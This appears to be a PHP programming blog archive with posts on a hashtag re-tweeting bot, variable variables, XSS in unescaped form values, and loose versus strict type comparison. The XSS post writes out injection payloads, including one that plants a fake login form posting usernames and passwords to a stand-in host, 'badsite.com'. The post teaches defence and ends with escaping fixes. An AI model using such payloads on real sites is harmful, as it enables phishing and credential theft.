If your using twitter and are reading this blog I’m sure you are aware of hashphp. If not, it is a twitter account which grabs most of the tweets with the hashtag ‘#php’ and re-tweets the messages. Since this seemed like a fairly simple thing to do I decided to create my own twitter feeder. Again, I was just hacking together a script, so if you use the code presented you will want to make some enhancements before letting it into the wild. (Please see end of post.)

First, I decided to pick a hastag which was used in the range of 3 – 5 times every 15 minutes; ‘#mysql’ seemed to fit the bill.

Now I needed a twitter account to re-tweet the messages, and a bit.ly account to create short URLs to link back to the original account that posted the message. I created a ‘poundmysql’ account (The number sign ‘#’ is sometimes referred to as the ‘pound’ sign in the US), then I went to bit.ly and signed up for an account.

Continuing to gather the pieces of the puzzle, I looked through the published PHP libraries on twitter and found one which did exactly what I needed. There were other more robust scripts, but I only needed to update an account status so grabbed the package Twitter by Felix Oghina. The next piece came in the way of the Bitly class, written by Ruslanas Balciunas. (I apologize to Ruslanas Balciunas but my current character set in MySQL will not allow for a proper spelling of the last name.)

Next, I needed to be able to retrieve all the tweets which contained the string #mysql. Twitter offers a Search API which would do the job, but for my purposes search.twitter was the faster option. They offer an XML feed to any search so I only needed to search #mysql and grab the URL of the feed, which is:

http://search.twitter.com/search.atom?q=%23mysql

As you can see the search term is contained in the query string of the URL (URL encoded), which is useful since I could then setup the script to accept any search term.

OK, now with all the pieces of the puzzle at hand I only needed to write the code to fit the pieces together creating my own twitter feeder.

First I grabbed a function which I used in a long ago project [probably also swiped from the internet:)]. The function sends a HTTP request to a server and returns the response.

function url_get($domain, $uri, $referer='')
{
    $header = array();
    $header[] = 'GET '.$uri.' HTTP/1.1';
    $header[] = 'Host: '.$domain;
    $header[] = 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;rv:1.8) Gecko/20051111 Firefox/1.5';
    $header[] = 'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5';
    $header[] = 'Accept-Language: en-us,en;q=0.5';
    $header[] = 'Accept-Encoding: gzip,deflate';
    $header[] = 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7';

    $header[] = 'Keep-Alive: 300';
    $header[] = 'Connection: keep-alive';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $domain.$uri);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_ENCODING, "");
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_REFERER, $referer);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);

    $result['exec'] = curl_exec ($ch);
    $result['info'] = curl_getinfo($ch);

    curl_close ($ch);

    return $result['exec'];
}

As you can see the function accepts three parameters, the domain to connect to ($domain), the path to the requested page ($uri) and the referrer ($referer). This function uses the cURL extension, if your PHP configuration has allow_url_fopen turned on you don’t even need this function (more on that in a minute).

Next I setup the $domain, $uri and $search_term variables, and made the call to the function to get the XML from search.twitter.

//ideally you would put this in a configuration file
$search_term = '#mysql';

//create variables to be sent to the function
$domain = 'search.twitter.com';
$uri    = '/search.atom?q='.urlencode($search_term);

//retrieve the xml response string from search.twitter
$feed = url_get($domain, $uri);
 

Now that the script has the information needed from twitter as an xml string, I can then create a SimpleXML object using the following:

$xml = new SimpleXMLElement($feed);

If allow_url_fopen is set to ‘on’ you could skip directly to creating the SimpleXML object by using the URL as the first parameter and setting the third parameter to TRUE:

$feed = 'http://search.twitter.com/search.atom?q='.urlencode($search_term);

$xml = new SimpleXMLElement($feed, NULL, TRUE);

The tweets in the feed are ordered by the time they were originally posted using the UTC timezone, since this is the case I needed PHP to use UTC when calling date time functions. To do this I used the date_default_timezone_set function.

date_default_timezone_set('UTC');

Next I included the Twitter class and the Bitly class into the script and created new instances of each:

//require the two files which define the classes used
require_once('Twitter.class.php');
require_once('bitly.class.php');

//setup log in information for twitter and bit.ly
//again these should really be kept in a separate config file
//outside the document root
$twit_uname = 'twitter_username';
$twit_pword = 'twitter_password';

$bit_uname = 'bit.ly_username';
$bit_api   = 'bit.ly_api_key';

//instantiate new objects
$twitter = new Twitter($twit_uname, $twit_pword);
$bitly   = new Bitly($bit_uname, $bit_api);

The idea is to loop through the messages received from the search and update the twitter account with any message that was posted within the last 15 minutes. I setup the last run time of the script outside the loop so that it only needs to be calculated once.

//define the number of minutes between each script run
//again this is a setting which should be in the config file
$time_interval = 15;

//get the number of seconds since the UNIX epoch
//and the last script run
$last_run_time = mktime()-($time_interval*60);

The messages can be found in $xml->entry. Within the loop the first check I needed to make was to determine if the twitter feeder account (poundmysql) had posted the message and if so, skip that message.

//setup messages loop
foreach ($xml->entry as $update) {
    //skip any messages set by poundmysql
    if ('poundmysql' == $update->author->name) {
        continue;
    }
...

Next I checked for the time the message was posted and if that time occurs later than 15 minutes ago, I could end the loop and the script itself, since any entries after this would also occur after the 15 minute cutoff point.

...
    //time format in xml string: 2009-07-25T20:32:13Z
    //split time from date
    list($pub_date, $pub_time) = explode('T', $update->published);
    //remove the ending 'Z' from time
    $pub_time = substr($pub_time, 0, -1);

    //get time segments for mktime() call
    list($hour, $minute, $second) = explode(':', $pub_time);
    list($year, $month, $day)     = explode('-', $pub_date);

    //get the number of seconds since the UNIX epoch
    //and the time the message was posted
    $publish_time  = mktime($hour,  $minute, $second,
                            $month, $day,    $year);

    //check if message was later than last run time,
    //if so end loop
    if ($publish_time < $last_run_time) {
        break;
    }

If the message passes these two checks, I know that it will be used in the feeder.

I then create a bit.ly link for the original message ($update->link[0]['href']), and store the character length of the link. Then I grab the content of the message ($update->title) and store that character length.

    //grab url of the original message, create short link, store length
    $link       = (string)$update->link[0]['href'];
    $short_link = ' ..'.$bitly->shortenSingle($link);
    $short_len  = strlen($short_link);

    //grab tweet content store length
    $content     = (string)$update->title;
    $content_len = strlen($content);

Since Twitter has a max character length of 140, I then needed to check what the character length of the new message was with the bit.ly link added, if it was longer than 140, I then needed to cutoff a section of the original message to accommodate the 140 maximum length.

    //total message length
    $len_total = $short_len+$content_len;

    if (140 < $len_total) {
        //determine how many characters over 140
        $over = $len_total-140;

        //remove that many characters from the original message
        $content = substr($content, 0, -$over);
    }

The only thing left to do was to actually update the twitter status.

    $new_status = $content.$short_link;
    //update twitter status
    $twitter->update($new_status);
}
//end loop

That ends the PHP code for my twitter feeder, now I setup a cron job to run every fifteen minutes and I have my own twitter feeder feeding the MySQL community.

Since I didn’t want to actually monitor this feed, I let it run for awhile and once I verified everything was working correctly I deleted the twitter account and stopped the script from running.

A copy of the code used in this post can be found here.

Enhancements

Some updates you will probably want to make before actually using this script for a real twitter account:

• Remove all the configuration options to their own file and store outside the document root.
• Error checking for unavailable third-party services
• Reverse tweets before running the loop. ATM: the script re-tweets in the reverse order the original messages were posted.
• Implement a filtering system so no unwanted messages are inserted into your stream.
• Update the script to use the twitter search API to guarantee that all tweets with your hashtag are captured.

Back Story

It seems forums have sort of lost their luster for many; I remember when having a website meant having a forum. At that time it seemed every contract I landed, some portion of the job consisted of integrating a forum into a site. I always hated this job, because at the time PHPBB was the forum of choice and it seemed that there was no ‘right’ way to do it, I had simply developed a bunch of hacks which needed to be scattered around the PHPBB code base and even when complete it was still just a bunch of hacks.

As time moved on, the demand for forums became less and less and I had not done a forum integration in many years. That was until I went to my local PHP users group and ended up with a contract to do a forum integration. I really was not looking forward to the project, but it was a part of a larger job and I’m not one to turn down work.

Luckily the other members of the group convinced the client to use FUDforum developed by Ilia Alshanetsky. I had looked into FUDforum before, had used it as a member of different sites, and assumed the code to be a higher quality simply because of who wrote it, but had never written any code to interact with it.

On Wednesday, the night before I was to do the forum integration I began reading the documentation and planning how I was going to accomplish this task as easily and painlessly as possible. Looking at the sidebar navigation on the documentation wiki, I was surprised to see the heading ‘Integration‘ two clicks later, a quick scan of two different pages, and I knew exactly what needed to be done.

After a few hours of work Thursday morning I had written a script which created accounts in the forums for existing members, I also altered the sign up, login, and logout code of the main site. With these changes the forums were basically integrated into the site, which brings me to the new tutorial series I will be posting over the next week.

Integrating FUDforum

Part 1: Introducing your site to FUD

One thing that should be mentioned before we begin, variable variables should be used sparingly. Their overuse can make scripts difficult to debug and confusing six months down the road when you decide to update or add functionality to your code. So before you use them make sure the problem your trying to solve warrants their use. (Hopefully the examples used in this article will give you the background to make that decision.)

We will begin by explaining what variable variables are. First let see what the PHP manual says a variable variable is:

PHP Manual:
A variable variable takes the value of a variable and treats that as the name of a variable.

Let’s see if we can add a little more to it… A variable variable, is created when two dollar signs ($$) are placed at the beginning of a variable name. The PHP engine interprets this to mean the value of the variable (which has two dollar signs in front of it) is the name of the variable which needs to be interpreted.

Not sure if that is any clearer, so lets go to some code so we can see it in action, then I’m sure everyone will understand.

<?php
$site = "NULL";
$ring = "NULL";
$plug = "NULL";
 
$entity_1 = "site";
$entity_2 = "plug";
$id_1     = 54;
$id_2     = 78;
 
$$entity_1 = $id_1;
$$entity_2 = $id_2;
 
echo "site: ".$site."<br />";
echo "ring: ".$ring."<br />";
echo "plug: ".$plug."<br />";
?>

When this code is run it will print:
site: 54
ring: NULL
plug: 78

Notice the two dollar signs ($$) in front of the second occurrence of the variables ‘entity_1′ and ‘entity_2′, these are the variable variables. Since the value of the variable $entity_1 is ’site’ when PHP parses:

$$entity_1 = $id_1;

it reads:
$site = $id_1;
The same also happens for $$entity_2.

That’s it! That is what a variable variable is, nothing really ground breaking here. So the question is when should this feature of PHP be used?

First I have to admit that I have never run into a situation where variable variables are required to get the job done. I think it is very telling when the section on variable variables in the PHP Manual starts with the sentence:

Sometimes it is convenient to be able to have variable variable names.

The keyword here being: convenient (as in ‘not necessary’).

The most recent situation where I used variable variables was this:
I was writing a function which managed the data in a database correlation table. The table had three columns: ’site_id’, ‘ring_id’, and ‘plug_id’.

The function I was working on accepted the entity types and ids for two entities. Hence, the function declaration looked like this:

function correlate($entity_1, $id_1, 
                   $entity_2, $id_2)

That function used another function which was responsible for actually inserting a record into the table and its declaration looked like this:

function create($site_id,
                $ring_id,
                $plug_id)

The purpose of the function I was writing was to determine if a record existed for either entity in the db table, if so update the correlation, if not insert a new record. Variable variables came into play if a record needed to be inserted into the correlation table.

Once it was determined that a new record need to be inserted, I created three variables set to the column defaults (NULL):

function correlate($entity_1, $id_1, 
                   $entity_2, $id_2)
{
    //check for record
    if ($record) {
      //update and return
    }
 
    $site = "NULL";
    $ring = "NULL";
    $plug = "NULL";
}

Without some checking the function did not ‘know’ which ids it had. So to make things easier I decided to use variable variables and write the rest of the function like this:

function correlate($entity_1, $id_1, 
                   $entity_2, $id_2)
{
    //check for record
    if ($record) {
      //update and return
    }
 
    $site = "NULL";
    $ring = "NULL";
    $plug = "NULL";
 
    $$entity_1 = $id_1;
    $$entity_2 = $id_2;
 
    return create($site, $ride, $plug);
}

Again variable variables were not needed in this situation I could have used ’switch’ or ‘if’ statements to determine which entity types were sent, but I thought the use of variable variables was a cleaner option and quite frankly was faster to code.

BTW – If anyone has run into a situation where variable variables were required, please let me know I would love to hear about it.

<input type="text" name="order" value="<?php echo $_POST['order']; ?>" />

Basically the question was: What is wrong with this code? I didn’t really think much of it, because it is a classic example of an XSS vulnerability. After submitting the quiz, I was given a phone interview in which I learned that no one else was able to pick out the the XSS vulnerability. To be fair to the others interviewed I do not know what their qualifications were or how much experience they have had with PHP.

Anyway, if you want to write code for the internet you need to be able to pick out these simple vulnerabilities and understand how they are exploited. It does not matter if you are just coding for your own website or getting paid, security holes effect not only the website but more importantly your visitors.

OK, so how is this code exploited? I assume the coders who do not see the vulnerability assume that even if the value contains HTML, JavaScript, or whatever it will simply be printed into the text box. For example if the value provided is:

<em>hello</em>

When the form is submitted the code will simply print:

<em>hello</em>

in the text box.

This is true, but the problem is; what happens when someone enters:

watch it grow" size="100

When this value is printed in the text box, the browser ’sees’ the quote following: watch it grow and ends the ‘value’ attribute. The browser then adds a ’size’ attribute to the input tag, whose value is 100. Basically the code interpreted by the browser looks like this:

<input type="text" name="order" value="watch it grow" size="100" />

Now we know that simply adding a ” (quote) will end the value attribute and any number of additional attributes can be added by the user. So lets make a more interactive value and add some JavaScript. In the text box we can add:

click here” onclick=”alert(‘hello’);

Now the code interpreted by the browser looks like this:

<input type="text" name="order" value="click here" onclick="alert('hello');" />

After the form is submitted the value in the text box reads: click here. When the user then clicks the text box the JavaScript will fire and an alert will appear which reads: ‘hello’.

Taking this exploit one step further, with one final example. The hack is not limited to simply adding attributes to the input tag (although in most cases this is all someone needs to do to accomplish their task). If we wanted to also add extra HTML, or a full blown JavaScript, all that needs to be done is to end the ‘value’ attribute with the ” (quote) and then add the end of the input tag: /> and presto we are out of the input tag and free to add anything; such as a new form which POSTS to a different website. Let’s add:

Fill out form completely" disabled/></form><form method="POST" action="http://badsite.com">Username: <input type="text" name="username"><br/>Password:<input type="password" name="user_pass"><br/><input type="hidden" name="end_input" value="

With this code we start with: Fill out form completely”
The ” (quote) following the word ‘completely’ will end the ‘value’ attribute.

We then place: disabled/>
This will disable the “order” input and end the tag, now we are in the realm of adding HTML.

Next by adding: </form>
We have ended the form, and are able to create something new.

As you can see we have added our own form which submits the user’s values to a different website: badsite.com. This code in essence takes control of the original submit button, because by adding the new form the submit button submits all values wherever we like.

To get a clear picture, after the form is submitted this is the code which is rendered by the browser (formatted for ease of read):

  <input type="text" name="order" value="Fill out form completely" disabled/>
</form>
<form method="POST" action="http://badsite.com">
  Username:
  <input type="text" name="username"/>
  <br />
  Password:
  <input type="password" name="user_pass"/>
  <br />
  <input type="hidden" value=""/>

Hopefully you now see that this is an extremely powerful exploit which needs to be addressed. Wait, I know what your thinking; with this type of exploit the only user effected is the one submitting the form in the first place. This is simply NOT true, but you will have to do the research yourself if you still don’t believe that this is a security hole (or you have ideas of cracking a few sites. )

So how can we possibly stop this type of attack? Actually it is really simple, PHP provides a built-in function: htmlspecialchars().

htmlspecialchars() converts special characters to HTML entities, rendering all of our examples useless. So our original piece of code would look like this:

<input type="text" name="order" value=" <?php echo htmlspecialchars($_POST['order']); ?> " />

This is only one way to ‘fix’ the problem and may not work in all situations; some other methods of preventing an XSS attack are:

• Use an exclusion approach with strip_tags().
• Use regular expressions to filter any data which may not have been caught by the built-in functions.
• Use filtration methods on all external data including: database and $_SERVER data. Basically any data which does not originate from inside the script.

I believe the best defense is a combination of a few different strategies.

XSS is a huge topic and this only scratches the surface. If you want to find more information use your favorite search engine and search the phrase: “PHP XSS exploits tutorials”. Then read until your so paranoid that you want to take down your website immediately and fix all the holes.

I was helping a fellow coder yesterday, and he was having problems with a simple comparison statement. The situation he found himself in was this:

A $_POST value could either be 0 (zero) or a text string. If incoming value was 0 (zero) that meant a new record needed to be inserted in the database, if it was a text string then the record already existed in the database and needed to be updated. Consequently he wrote his comparison statement like this:

<?php
 
if ($_POST["id"] == 0) {
    //insert db record
}
else {
    //update db record
}
 
?>

Everything looked fine to him, but no matter what value was passed in the $_POST variable the comparison statement evaluated to TRUE, meaning a new record was inserted into the database.

If you want to check it out yourself run this code:

<?php
 
$_POST["id"] = "0";
 
if ($_POST["id"] == 0) {
    echo "insert db record / ";
}
else {
    echo "update db record / ";
}
 
$_POST["id"] = "string of text";
if ($_POST["id"] == 0) {
    echo "insert db record";
}
else {
    echo "update db record";
}
 
?>

If you run the code above it will print: ‘insert db record / insert db record’.

Now this is a bad comparision to begin with, since all values coming from $_POST are a string of text; but that was not the problem he was experiencing.

Why does “string of text” equal zero in the second comparision statement?…. because of TYPES, of course.

In the both comparison statements we are comparing a string and an integer, since we did not use the Identical comparison operator (===), PHP converts the string to an integer before making the comparison. This means it is the same as casting the string as an integer then making the comparison; such as:

<?php
 
$_POST["id"] = "string of text";
$_POST["id"] = (int)$_POST["id"];
 
if ($_POST["id"] == 0) {
    echo "insert db record";
}
else {
    echo "update db record";
}
 
?>

When casting “string of text” as an integer “string of text” becomes 0 (zero). Check it out:

<?php
 
$_POST["id"] = "string of text";
$_POST["id"] = (int)$_POST["id"];
 
var_dump($_POST["id"]);
 
?>

The above code will print: “int(0)”.

So how do we get this comparison to evaluate as intended? We cannot use the Identical (===) comparison operator, because as I said before, everything coming from $_POST is a string. This means we would have the same problem in reverse. The comparison would always evaluate to FALSE, and it would attempt to update records that do not exist. What we need is for PHP to evaluate both operands as strings, this can be accomplished two ways. Either by placing quotes around the 0 (zero) making it a string, or casting the 0 (zero) as a string. Such as:

<?php
 
if ($_POST["id"] == "0") {
    //insert db record
}
else {
    //update db record
}
 
if ($_POST["id"] == (string)0) {
    //insert db record
}
else {
    //update db record
}
 
?>

Personally I think the first example is more appropriate, if you want to compare 0 (zero) as a string just write it as a string. I simply provided the casting example because we have previously discussed casting.

If you would like to know more about Types in PHP you can read my previous post: Variable Types – Why Care? and follow the links at the bottom of the article.

PHP – Manual
The type of a variable is usually not set by the programmer; rather, it is decided at runtime by PHP depending on the context in which that variable is used.

In code terms this means that we do not have to define a “type” for each variable, we can simply give the variable a value and the PHP engine will determine (through context clues) what the variable type should be at that instant (runtime). Also a variable’s type may change any number of times during the execution of a script, as shown by this example:

<?php
//the variables are defined as strings
//(with quotes)
 
$integer1 = "50";
$integer2 = "14";
 
//we can use them
//in mathematical equations
 
echo $integer1 + $integer2; //64
 
//we can also treat them
//as strings and concatenate them
 
echo $integer1 . $integer2; //5014
 
//if we want to get fancy we can also use
//them as arrays, which actually comes in
//handy once in a while
 
echo $integer1[0] + $integer2[0]; // 6
//**note if the variables were defined as
//integers this last example would not
//work**
?>

Given this information, most PHP developers (especially those who use PHP exclusively) simply forget about variable types and PHP does all the work for them. I was one of those developers until I read an article (unable to locate the link at the moment) about optimizing your PHP code.

In the article the benchmarks showed a significant improvement in processing time when using the comparison operators Identical (===) and Not Identical (!==) as opposed to Equal (==) and Not Equal (!=).

**Please note I have no idea if this optimization still true, or ever was, but for our purposes it really does not matter.**

The difference between (Not) Identical and (Not) Equal is that PHP checks both the value and type of the two operands, meaning:

<?php
//integer1 is defined as a string
$integer1 = "50";
 
//integer1 is defined as an integer
$integer2 = 50;
 
if ($integer1 == $integer2) {
    echo "Equal / ";
}
else {
    echo "NOT Equal / ";
}
 
if ($integer1 === $integer2) {
    echo "Identical";
}
else {
    echo "NOT Identical";
}
?>

The above code will print “Equal / NOT Identical”. During the first comparison (equal), type is not taken into consideration so the string “50″ is equal to the integer 50; but in the second comparison (identical), a string and an integer are not the same, hence not identical.

Obviously when you start comparing two values using the (Not) Identical operator, type becomes very important and a little challenging at first. You will inevitably forget to take into consideration variable types, and some code will simply not execute as you planned.

OK, so now that I have briefly explained types (string and integer) in PHP terms, the question remains, why do we care? Simply put: because it is part of PHP. If you just want to create scripts which randomly display quotes, email the contents of a form, or other small tasks then there really is no reason to get involved with types or type casting; but since you are reading this post (and have made it this far) I will assume you are slightly more interested in creating larger projects and applications. If this is the case then you need to learn about all aspects of PHP and in tern you will then be able to write more complicated, efficient and stable code.

As a quick example: you should know that all data coming from $_POST and $_GET arrives in PHP as stings (actually an array of strings; kind of like field values from MySQL ). So if you would like to check that an incoming value is numeric, you could use the function is_numeric() or ctype_digit(). Of course if you wanted to determine if a value is numeric one of the quickest and most efficient ways is to cast the value.

Since 99% of the time 0 (zero) is not a valid value for incoming numeric data you can simply cast the variable. If the value only contains non-numeric characters; when cast as an integer PHP will set the value to 0 (zero). If the value is entirely numeric or begins with a number the numeric portion is converted. For example:

<?php
$id = (int)$_POST["id"];
if (0 === $id) {
    echo "NOT Numeric";
}
else {
    echo "Numeric";
}
?>

*Note: When casting a value please be sure to cast the value to the correct type.

If you would like to learn more about Types and Casting, here are some links to sections of the PHP Manual:
Types
Type Casting
Variable Handling Functions